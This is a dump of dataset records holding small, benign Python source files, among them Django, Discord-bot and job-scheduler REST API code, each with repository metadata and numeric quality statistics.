"BSD-3-Clause"
] | null | null | null |
default_app_config = 'defects.apps.DefectsConfig'
| 49
| 49
| 0.857143
| 6
| 49
| 6.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.040816
| 49
| 1
| 49
| 49
| 0.851064
| 0
| 0
| 0
| 0
| 0
| 0.52
| 0.52
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
770938d68e6c5a7d8611c8a66ad039dd0c82b103
| 662
|
py
|
Python
|
test_python.py
|
Lenin-RUS/DZ5
|
e366131ee39b97505f55101159317f2ca49a652e
|
[
"Apache-2.0"
] | null | null | null |
test_python.py
|
Lenin-RUS/DZ5
|
e366131ee39b97505f55101159317f2ca49a652e
|
[
"Apache-2.0"
] | null | null | null |
test_python.py
|
Lenin-RUS/DZ5
|
e366131ee39b97505f55101159317f2ca49a652e
|
[
"Apache-2.0"
] | null | null | null |
import math
err='Косяк'
assert round(math.pi, 2) == 3.14, err
# assert round(math.pi, 2) == 5.14, err
assert math.sqrt(4) == 2, err
# assert math.sqrt(4) == 2, err
assert math.pow(2,2) == 4, err
# assert math.pow(2,2) == 4, err
assert math.hypot(3,4) == 5, err
# assert math.hypot(3,4) == 5, err
a=(6,4,7,9,3)
assert sorted(a) == [3, 4, 6, 7, 9], err
# assert sorted(a) == [3, 4, 456456456, 7, 9], err
assert list(map(lambda x: x**2, a)) == [36, 16, 49, 81, 9], err
# assert list(map(lambda x: x**2, a)) == [36, 16, 44444444, 81, 9], err
assert list(filter(lambda x: x>4, a)) == [6, 7, 9], err
# assert list(filter(lambda x: x>4, a)) == [6, 55555, 9], err
| 27.583333
| 71
| 0.58006
| 136
| 662
| 2.823529
| 0.235294
| 0.28125
| 0.203125
| 0.145833
| 0.841146
| 0.638021
| 0.638021
| 0.638021
| 0.554688
| 0.455729
| 0
| 0.157116
| 0.182779
| 662
| 23
| 72
| 28.782609
| 0.55268
| 0.468278
| 0
| 0
| 0
| 0
| 0.014577
| 0
| 0
| 0
| 0
| 0
| 0.7
| 1
| 0
| false
| 0
| 0.1
| 0
| 0.1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
770e2c07f1f05688b1d5061e64f6a534dc2552e8
| 46
|
py
|
Python
|
complete-python/web-scraping/quotes-scraper/locators/quotes_page_locators.py
|
alaindet/learn-python
|
44d3b04188af19f4491a505a210b53cd67bae542
|
[
"MIT"
] | null | null | null |
complete-python/web-scraping/quotes-scraper/locators/quotes_page_locators.py
|
alaindet/learn-python
|
44d3b04188af19f4491a505a210b53cd67bae542
|
[
"MIT"
] | null | null | null |
complete-python/web-scraping/quotes-scraper/locators/quotes_page_locators.py
|
alaindet/learn-python
|
44d3b04188af19f4491a505a210b53cd67bae542
|
[
"MIT"
] | null | null | null |
class QuotesPageLocators:
QUOTE = '.quote'
| 23
| 25
| 0.717391
| 4
| 46
| 8.25
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.173913
| 46
| 2
| 26
| 23
| 0.868421
| 0
| 0
| 0
| 0
| 0
| 0.12766
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
7716f96e41cb3d134f2189cdb318d2f1a4a05e8b
| 417
|
py
|
Python
|
padertorch/__init__.py
|
sibange/padertorch
|
494692d877f04c66847c2943795b23aea488217d
|
[
"MIT"
] | 62
|
2019-12-22T08:30:29.000Z
|
2022-03-22T11:02:59.000Z
|
padertorch/__init__.py
|
sibange/padertorch
|
494692d877f04c66847c2943795b23aea488217d
|
[
"MIT"
] | 47
|
2020-01-06T09:23:47.000Z
|
2022-01-24T16:55:06.000Z
|
padertorch/__init__.py
|
sibange/padertorch
|
494692d877f04c66847c2943795b23aea488217d
|
[
"MIT"
] | 13
|
2019-12-16T08:12:46.000Z
|
2021-11-08T14:37:06.000Z
|
from padertorch import utils
from padertorch.train import trainer, optimizer
from padertorch.train.trainer import *
from . import base
from . import configurable
from . import data
from . import ops
from . import summary
from . import io
from .base import *
from .configurable import Configurable
from .ops import *
# This import has to be late, otherwise you can not use pt.Models in models.
from . import modules
| 24.529412
| 76
| 0.781775
| 61
| 417
| 5.344262
| 0.442623
| 0.214724
| 0.116564
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.167866
| 417
| 16
| 77
| 26.0625
| 0.939481
| 0.177458
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
77393677856d5115a9b0ceffb790647428a1d092
| 206
|
py
|
Python
|
main.py
|
billyeatcookies/discord-chess
|
bb16e9ca9b00ffb6ddfc21e46ca7ae8cf8062802
|
[
"MIT"
] | 6
|
2021-01-21T16:35:41.000Z
|
2021-06-30T18:44:27.000Z
|
main.py
|
billyeatcookies/discord-chess
|
bb16e9ca9b00ffb6ddfc21e46ca7ae8cf8062802
|
[
"MIT"
] | null | null | null |
main.py
|
billyeatcookies/discord-chess
|
bb16e9ca9b00ffb6ddfc21e46ca7ae8cf8062802
|
[
"MIT"
] | null | null | null |
from discord.ext.commands import Bot
import config
client = Bot(command_prefix='.')
# extensions
client.load_extension('cogs.chess')
client.load_extension('cogs.events')
client.run(config.get_token())
| 15.846154
| 36
| 0.771845
| 28
| 206
| 5.535714
| 0.678571
| 0.129032
| 0.245161
| 0.296774
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.092233
| 206
| 12
| 37
| 17.166667
| 0.828877
| 0.048544
| 0
| 0
| 0
| 0
| 0.113402
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
773c923a8368d963afea6ae051bf6b0573f84698
| 199
|
py
|
Python
|
unittest_sandbox/__init__.py
|
mikeengland/unittest-sandbox
|
b37f58e59cc02aa9c291876b0fe3e41aee0b5ffd
|
[
"Apache-2.0"
] | 1
|
2017-08-02T07:37:43.000Z
|
2017-08-02T07:37:43.000Z
|
unittest_sandbox/__init__.py
|
mikeengland/unittest-sandbox
|
b37f58e59cc02aa9c291876b0fe3e41aee0b5ffd
|
[
"Apache-2.0"
] | null | null | null |
unittest_sandbox/__init__.py
|
mikeengland/unittest-sandbox
|
b37f58e59cc02aa9c291876b0fe3e41aee0b5ffd
|
[
"Apache-2.0"
] | null | null | null |
from .decorators import sandbox
from .patcher import block_socket_access
from .socket import InternetAccessBlockedException
__version__ = '{major}.{minor}.{patch}'.format(major=1, minor=1, patch=0)
| 33.166667
| 73
| 0.798995
| 25
| 199
| 6.12
| 0.64
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016575
| 0.090452
| 199
| 5
| 74
| 39.8
| 0.828729
| 0
| 0
| 0
| 0
| 0
| 0.115578
| 0.115578
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
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| 1
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| null | 0
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| 0
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| 0
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| 1
| 0
| 1
| 0
|
0
| 4
|
7746aec8eea09b4b0d9b6b6fb0e02787b5b1fd3d
| 37
|
py
|
Python
|
WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_-_Modify_Strings_(lower_case).txt.py
|
webdevhub42/Lambda
|
b04b84fb5b82fe7c8b12680149e25ae0d27a0960
|
[
"MIT"
] | null | null | null |
WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_-_Modify_Strings_(lower_case).txt.py
|
webdevhub42/Lambda
|
b04b84fb5b82fe7c8b12680149e25ae0d27a0960
|
[
"MIT"
] | null | null | null |
WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_-_Modify_Strings_(lower_case).txt.py
|
webdevhub42/Lambda
|
b04b84fb5b82fe7c8b12680149e25ae0d27a0960
|
[
"MIT"
] | null | null | null |
a = "Hello, World!"
print(a.lower())
| 12.333333
| 19
| 0.594595
| 6
| 37
| 3.666667
| 0.833333
| 0
| 0
| 0
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| 0.135135
| 37
| 2
| 20
| 18.5
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0
| 4
|
6209dbed68e0094d659918671cde6936ca35301d
| 17,554
|
py
|
Python
|
src/api/jobnavi/views/schedule_views.py
|
Chromico/bk-base
|
be822d9bbee544a958bed4831348185a75604791
|
[
"MIT"
] | 84
|
2021-06-30T06:20:23.000Z
|
2022-03-22T03:05:49.000Z
|
src/api/jobnavi/views/schedule_views.py
|
Chromico/bk-base
|
be822d9bbee544a958bed4831348185a75604791
|
[
"MIT"
] | 7
|
2021-06-30T06:21:16.000Z
|
2022-03-29T07:36:13.000Z
|
src/api/jobnavi/views/schedule_views.py
|
Chromico/bk-base
|
be822d9bbee544a958bed4831348185a75604791
|
[
"MIT"
] | 40
|
2021-06-30T06:21:26.000Z
|
2022-03-29T12:42:26.000Z
|
# -*- coding: utf-8 -*-
"""
Tencent is pleased to support the open source community by making BK-BASE 蓝鲸基础平台 available.
Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved.
BK-BASE 蓝鲸基础平台 is licensed under the MIT License.
License for BK-BASE 蓝鲸基础平台:
--------------------------------------------------------------------
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial
portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
"""
import json
from rest_framework.response import Response
from django.conf import settings
from common.decorators import params_valid, detail_route
from common.django_utils import DataResponse
from common.views import APIViewSet
from jobnavi.api.jobnavi_api import JobNaviApi
from jobnavi.exception.exceptions import InterfaceError
from jobnavi.views.serializers import (
CommonSerializer,
CreateScheduleSerializer,
UpdateScheduleSerializer,
PartialUpdateScheduleSerializer,
)
class ScheduleViewSet(APIViewSet):
"""
@apiDefine schedule
调度信息API
"""
lookup_field = "schedule_id"
# 默认匹配包含除斜杠和小数点字符以外的任何字符，在此修改默认控制，改为
# 由英文字母、下划线、横线、数字、小数点组成，且必须以字母或数字开头
lookup_value_regex = "[a-zA-Z0-9]+(-|_|[a-zA-Z0-9]|\\.)*"
@params_valid(serializer=CommonSerializer)
def retrieve(self, request, cluster_id, schedule_id, params):
"""
@api {get} /jobnavi/cluster/:cluster_id/schedule/:schedule_id/ 获取调度信息
@apiName get_schedule
@apiGroup schedule
@apiParam {string} schedule_id 调度名称
@apiParamExample {json} 参数样例:
{
"schedule_id": "xxx"
}
@apiSuccessExample {json} 成功返回
HTTP/1.1 200 OK
{
"message": "ok",
"code": "1500200",
"data": {
"schedule_id": "xxx",
"type_id": "spark_sql",
"description": "离线计算节点",
"period": {
"timezone": "Asia/shanghai",
"cron_expression": "? ? ? ? ? ?",
"frequency": 1,
"start_time": 1539778425000,
"delay": "1h",
},
"parents": [{
"parent_id": "P_xxx",
"dependency_rule": "all_finished",
"param_type": "fixed",
"param_value": "1h"
}],
"recovery": {
"enable": true,
"interval_time": "1h",
"retry_times": 3
},
"execute_before_now": true,
"node_label": "calc_cluster",
"decommission_timeout": "1h",
"max_running_task": 1,
"created_by": "xxx"
},
"result": true
}
"""
geog_area_code = params["tags"][0]
jobnavi = JobNaviApi(geog_area_code, cluster_id)
result = jobnavi.get_schedule(schedule_id)
if not result or not result.is_success():
return DataResponse(message=result.message)
else:
return Response(json.loads(result.data))
@params_valid(serializer=CreateScheduleSerializer)
def create(self, request, params, cluster_id):
"""
@api {post} /jobnavi/cluster/:cluster_id/schedule 新增调度
@apiName add_schedule
@apiGroup schedule
@apiParam {string} schedule_id 调度名称
@apiParam {string} type_id 任务类型
@apiParam {string} description 描述
@apiParam {json} period 周期
@apiParam {string} geog_area_code 地域标签代码
@apiParam {string} timezone 时区
@apiParam {string} cron_expression cron表达式
@apiParam {int} frequency 统计频率
@apiParam {string} period_unit 周期单位
@apiParam {long} first_schedule_time 启动时间
@apiParam {string} delay 延迟
@apiParam {string} period_unit 调度周期
@apiParam {list} parents 任务类型
@apiParam {string} parent_id 父任务标识
@apiParam {string} rule 依赖规则
@apiParam {string} type 依赖值类型
@apiParam {string} value 依赖值
@apiParam {json} recovery 任务类型
@apiParam {boolean} enable 是否可恢复
@apiParam {string} interval_time 间隔时间
@apiParam {int} retry_times 重试次数
@apiParam {boolean} active 是否可用
@apiParam {boolean} exec_oncreate 创建后执行
@apiParam {boolean} execute_before_now 是否可以从当前时间之前执行任务
@apiParam {string} node_label 节点标签
@apiParam {string} decommission_timeout 退服超时时间
@apiParam {int} max_running_task 可运行的最大任务数
@apiParam {string} created_by 创建人
@apiParamExample {json} 参数样例:
{
"schedule_id": "xxx",
"type_id": "spark_sql",
"description": "离线计算节点",
"period": {
"timezone": "Asia/shanghai",
"cron_expression": "? ? ? ? ? ?",
"frequency": 1,
"first_schedule_time": 1539778425000,
"delay": "1h",
"period_unit": "h"
},
"parents": [{
"parent_id": "P_xxx",
"dependency_rule": "all_finished",
"param_type": "fixed",
"param_value": "1h"
}],
"recovery": {
"enable": true,
"interval_time": "1h",
"retry_times": 3
},
"active": true,
"exec_oncreate": false,
"execute_before_now": true,
"node_label": "calc_cluster",
"decommission_timeout": "1h",
"max_running_task": 1,
"created_by": "xxx"
}
@apiSuccessExample {json} 成功返回
HTTP/1.1 200 OK
{
"message": "ok",
"code": "1500200",
"data": null,
"result": true
}
"""
geog_area_code = params["tags"][0]
jobnavi = JobNaviApi(geog_area_code, cluster_id)
if settings.EXTENDED and params["type_id"] == "tdw":
from jobnavi.extend.api.tdw_api import TDWApi
tdw_api = TDWApi(cluster_id)
tdw_api.create_or_update_task(request.data)
result = jobnavi.add_schedule(request.data)
if not result or not result.is_success():
raise InterfaceError(message=result.message)
else:
if result.data:
return Response(result.data)
else:
return Response()
@params_valid(serializer=UpdateScheduleSerializer)
def update(self, request, params, cluster_id, schedule_id):
"""
@api {put} /jobnavi/cluster/:cluster_id/schedule/:schedule_id/ 替换调度信息内容
@apiName overwrite_schedule
@apiGroup schedule
@apiParam {string} schedule_id 调度名称
@apiParam {string} type_id 任务类型
@apiParam {string} description 描述
@apiParam {json} period 周期
@apiParam {string} geog_area_code 地域标签代码
@apiParam {string} timezone 时区
@apiParam {string} cron_expression cron表达式
@apiParam {int} frequency 统计频率
@apiParam {string} period_unit 周期单位
@apiParam {long} first_schedule_time 启动时间
@apiParam {string} delay 延迟
@apiParam {list} parents 任务类型
@apiParam {string} parent_id 父任务标识
@apiParam {string} rule 依赖规则
@apiParam {string} type 依赖值类型
@apiParam {string} value 依赖值
@apiParam {json} recovery 任务类型
@apiParam {boolean} enable 是否可恢复
@apiParam {string} interval_time 间隔时间
@apiParam {int} retry_times 重试次数
@apiParam {boolean} active 是否可用
@apiParam {boolean} exec_oncreate 创建后执行
@apiParam {boolean} execute_before_now 是否可以从当前时间之前执行任务
@apiParam {string} node_label 节点标签
@apiParam {string} decommission_timeout 退服超时时间
@apiParam {int} max_running_task 可运行的最大任务数
@apiParam {string} created_by 创建人
@apiParamExample {json} 参数样例:
{
"schedule_id": "xxx",
"type_id": "spark_sql",
"description": "离线计算节点",
"period": {
"timezone": "Asia/shanghai",
"cron_expression": "? ? ? ? ? ?",
"frequency": 1,
"first_schedule_time": 1539778425000,
"delay": "1h",
},
"parents": [{
"parent_id": "P_xxx",
"dependency_rule": "all_finished",
"param_type": "fixed",
"param_value": "1h"
}],
"recovery": {
"enable": true,
"interval_time": "1h",
"retry_times": 3
},
"active": true,
"exec_oncreate": false,
"execute_before_now": true,
"node_label": "calc_cluster",
"decommission_timeout": "1h",
"max_running_task": 1,
"created_by": "xxx"
}
@apiSuccessExample {json} 成功返回
HTTP/1.1 200 OK
{
"message": "ok",
"code": "1500200",
"data": null,
"result": true
}
"""
geog_area_code = params["tags"][0]
jobnavi = JobNaviApi(geog_area_code, cluster_id)
data = request.data
data["schedule_id"] = schedule_id
if settings.EXTENDED and params["type_id"] == "tdw":
from jobnavi.extend.api.tdw_api import TDWApi
tdw_api = TDWApi(cluster_id)
tdw_api.update_task(request.data)
result = jobnavi.overwrite_schedule(request.data)
if not result or not result.is_success():
raise InterfaceError(message=result.message)
else:
return Response()
@params_valid(serializer=PartialUpdateScheduleSerializer)
def partial_update(self, request, cluster_id, schedule_id, params):
"""
@api {patch} /jobnavi/cluster/:cluster_id/schedule/:schedule_id/ 更新调度信息部分内容
@apiName update_schedule
@apiGroup schedule
@apiParam {string} schedule_id 调度名称
@apiParam {string} type_id 任务类型
@apiParam {string} description 描述
@apiParam {json} period 周期
@apiParam {string} timezone 时区
@apiParam {string} cron_expression cron表达式
@apiParam {int} frequency 统计频率
@apiParam {string} period_unit 周期单位
@apiParam {long} first_schedule_time 启动时间
@apiParam {string} delay 延迟
@apiParam {list} parents 任务类型
@apiParam {string} parent_id 父任务标识
@apiParam {string} rule 依赖规则
@apiParam {string} type 依赖值类型
@apiParam {string} value 依赖值
@apiParam {json} recovery 任务类型
@apiParam {boolean} enable 是否可恢复
@apiParam {string} interval_time 间隔时间
@apiParam {int} retry_times 重试次数
@apiParam {boolean} active 是否可用
@apiParam {boolean} exec_oncreate 创建后执行
@apiParam {boolean} execute_before_now 是否可以从当前时间之前执行任务
@apiParam {string} node_label 节点标签
@apiParam {string} decommission_timeout 退服超时时间
@apiParam {int} max_running_task 可运行的最大任务数
@apiParam {string} created_by 创建人
@apiParamExample {json} 参数样例:
{
"schedule_id": "xxx",
"type_id": "spark_sql",
"description": "离线计算节点",
"period": {
"timezone": "Asia/shanghai",
"cron_expression": "? ? ? ? ? ?",
"frequency": 1,
"first_schedule_time": 1539778425000,
"delay": "1h",
},
"parents": [{
"parent_id": "P_xxx",
"rule": "all_finished",
"type": "fixed",
"value": "1h"
}],
"recovery": {
"enable": true,
"interval_time": "1h",
"retry_times": 3
},
"active": true,
"exec_oncreate": false,
"execute_before_now": true,
"node_label": "calc_cluster",
"decommission_timeout": "1h",
"max_running_task": 1,
"created_by": "xxx"
}
@apiSuccessExample {json} 成功返回
HTTP/1.1 200 OK
{
"message": "ok",
"code": "1500200",
"data": null,
"result": true
}
"""
geog_area_code = params["tags"][0]
jobnavi = JobNaviApi(geog_area_code, cluster_id)
data = request.data
data["schedule_id"] = schedule_id
result = jobnavi.update_schedule(request.data)
if settings.EXTENDED and "type_id" in data and data["type_id"] == "tdw":
from jobnavi.extend.api.tdw_api import TDWApi
tdw_api = TDWApi(cluster_id)
tdw_api.update_task(request.data)
if not result or not result.is_success():
return DataResponse(message=result.message)
else:
return Response()
@params_valid(serializer=CommonSerializer)
def destroy(self, request, cluster_id, schedule_id, params):
"""
@api {delete} /jobnavi/cluster/:cluster_id/schedule/:schedule_id/ 删除调度信息
@apiName delete_schedule
@apiGroup schedule
@apiParam {string} schedule_id 调度名称
@apiParamExample {json} 参数样例:
{
"schedule_id": "xxx"
}
@apiSuccessExample {json} 成功返回
HTTP/1.1 200 OK
{
"message": "ok",
"code": "1500200",
"data": null,
"result": true
}
"""
geog_area_code = params["tags"][0]
jobnavi = JobNaviApi(geog_area_code, cluster_id)
result = jobnavi.del_schedule(schedule_id)
if not result or not result.is_success():
raise InterfaceError(message=result.message)
else:
return Response()
@detail_route(methods=["get"], url_path="force_schedule")
@params_valid(serializer=CommonSerializer)
def force_schedule(self, request, cluster_id, schedule_id, params):
"""
@api {get} /jobnavi/cluster/:cluster_id/schedule/:schedule_id/force_schedule 强制调度
@apiName force_schedule
@apiGroup schedule
@apiParam {string} schedule_id 调度名称
@apiParamExample {json} 参数样例:
{
"schedule_id": "xxx"
}
@apiSuccessExample {json} 成功返回
HTTP/1.1 200 OK
{
"message": "ok",
"code": "1500200",
"data": null,
"result": true
}
"""
geog_area_code = params["tags"][0]
jobnavi = JobNaviApi(geog_area_code, cluster_id)
result = jobnavi.force_schedule(schedule_id)
if not result or not result.is_success():
raise InterfaceError(message=result.message)
else:
return Response()
@detail_route(methods=["get"], url_path="get_execute_lifespan")
@params_valid(serializer=CommonSerializer)
def get_execute_lifespan(self, request, cluster_id, schedule_id, params):
"""
@api {get} /jobnavi/cluster/:cluster_id/schedule/:schedule_id/get_execute_lifespan 获取调度任务实例生命期限
@apiName get_execute_lifespan
@apiGroup schedule
@apiParam {string} schedule_id 调度名称
@apiParamExample {json} 参数样例:
{
"schedule_id": "xxx"
}
@apiSuccessExample {json} 成功返回
HTTP/1.1 200 OK
{
"message": "ok",
"code": "1500200",
"data": 8038800000, #单位：毫秒
"result": true
}
"""
geog_area_code = params["tags"][0]
jobnavi = JobNaviApi(geog_area_code, cluster_id)
result = jobnavi.get_execute_lifespan(schedule_id)
if not result or not result.is_success():
raise InterfaceError(message=result.message)
else:
return Response(int(result.data))
| 38.665198
| 111
| 0.546656
| 1,695
| 17,554
| 5.486726
| 0.185251
| 0.07828
| 0.020645
| 0.017312
| 0.753011
| 0.72914
| 0.719892
| 0.706667
| 0.69828
| 0.693763
| 0
| 0.016915
| 0.353367
| 17,554
| 453
| 112
| 38.750552
| 0.802396
| 0.586704
| 0
| 0.584158
| 0
| 0
| 0.036371
| 0.00719
| 0
| 0
| 0
| 0
| 0
| 1
| 0.069307
| false
| 0
| 0.118812
| 0
| 0.316832
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
62124e0e7d39f0521def13ac05399294499d2037
| 119
|
py
|
Python
|
balance.py
|
Abishek05/python-basics
|
7be02cd2e0a9291b3de6b6dbb3e25be8beef07b9
|
[
"MIT"
] | null | null | null |
balance.py
|
Abishek05/python-basics
|
7be02cd2e0a9291b3de6b6dbb3e25be8beef07b9
|
[
"MIT"
] | null | null | null |
balance.py
|
Abishek05/python-basics
|
7be02cd2e0a9291b3de6b6dbb3e25be8beef07b9
|
[
"MIT"
] | null | null | null |
# to check if value is in the list
def check(list, value):
if value in list:
return True
return False
| 17
| 34
| 0.638655
| 20
| 119
| 3.8
| 0.6
| 0.184211
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.310924
| 119
| 6
| 35
| 19.833333
| 0.926829
| 0.268908
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.75
| 0
| 1
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| 0
| null | 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
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| 0
| 0
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| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
6258496625b7573f949dd80632eb207d8a032f76
| 289
|
py
|
Python
|
tweetme/core/routing.py
|
abhishekzgithub/tweet-django
|
775b0671f38e0e018dd416d41771fd08821ec741
|
[
"MIT"
] | 1
|
2020-02-20T08:52:33.000Z
|
2020-02-20T08:52:33.000Z
|
tweetme/core/routing.py
|
abhishekzgithub/tweet-django
|
775b0671f38e0e018dd416d41771fd08821ec741
|
[
"MIT"
] | null | null | null |
tweetme/core/routing.py
|
abhishekzgithub/tweet-django
|
775b0671f38e0e018dd416d41771fd08821ec741
|
[
"MIT"
] | null | null | null |
from rest_framework import routers
from . import views
routee=routers.DefaultRouter()
routee.register(r"tweet",views.TweetSerialView)
#routee.register(r"like",views.LikeSerialView)
#routee.register(r"comment",views.CommentSerialView)
routee.register(r"follow",views.FollowSerialView)
| 41.285714
| 53
| 0.816609
| 35
| 289
| 6.714286
| 0.514286
| 0.238298
| 0.255319
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.062284
| 289
| 7
| 54
| 41.285714
| 0.867159
| 0.33218
| 0
| 0
| 0
| 0
| 0.05914
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
627891f355c1b83bb754a39db7a48571c3d9c430
| 189
|
py
|
Python
|
superstructure/utils.py
|
fossabot/superstructure
|
f4ab5cac269fb3dedfbd3a54c441af23edf3840b
|
[
"MIT"
] | null | null | null |
superstructure/utils.py
|
fossabot/superstructure
|
f4ab5cac269fb3dedfbd3a54c441af23edf3840b
|
[
"MIT"
] | null | null | null |
superstructure/utils.py
|
fossabot/superstructure
|
f4ab5cac269fb3dedfbd3a54c441af23edf3840b
|
[
"MIT"
] | null | null | null |
from .logik import Relation
def is_compatible(bewusstseins_inhalt, x):
if isinstance(x, Relation):
for begriff in bewusstseins_inhalt:
return isinstance(begriff,)
| 23.625
| 43
| 0.708995
| 22
| 189
| 5.954545
| 0.727273
| 0.274809
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.222222
| 189
| 7
| 44
| 27
| 0.891156
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
629165adb21df1d58070316cd92390336e0280f2
| 151
|
py
|
Python
|
seadssite/templatetags/json_tag.py
|
seadsystem/website
|
d7e8110c012d94c494895fde9951eef728266798
|
[
"MIT"
] | 5
|
2016-03-20T07:07:17.000Z
|
2018-04-12T16:34:12.000Z
|
seadssite/templatetags/json_tag.py
|
seadsystem/website
|
d7e8110c012d94c494895fde9951eef728266798
|
[
"MIT"
] | 22
|
2015-11-04T23:11:41.000Z
|
2016-05-19T00:08:54.000Z
|
seadssite/templatetags/json_tag.py
|
seadsystem/website
|
d7e8110c012d94c494895fde9951eef728266798
|
[
"MIT"
] | 4
|
2015-10-29T01:46:44.000Z
|
2018-04-09T22:05:28.000Z
|
import simplejson
from django import template
register = template.Library()
@register.filter
def dumpjson(data):
return simplejson.dumps(data)
| 13.727273
| 33
| 0.774834
| 18
| 151
| 6.5
| 0.722222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145695
| 151
| 10
| 34
| 15.1
| 0.906977
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0.166667
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
656e691113ee2cbc1f8a577f615f3cd299c81fd9
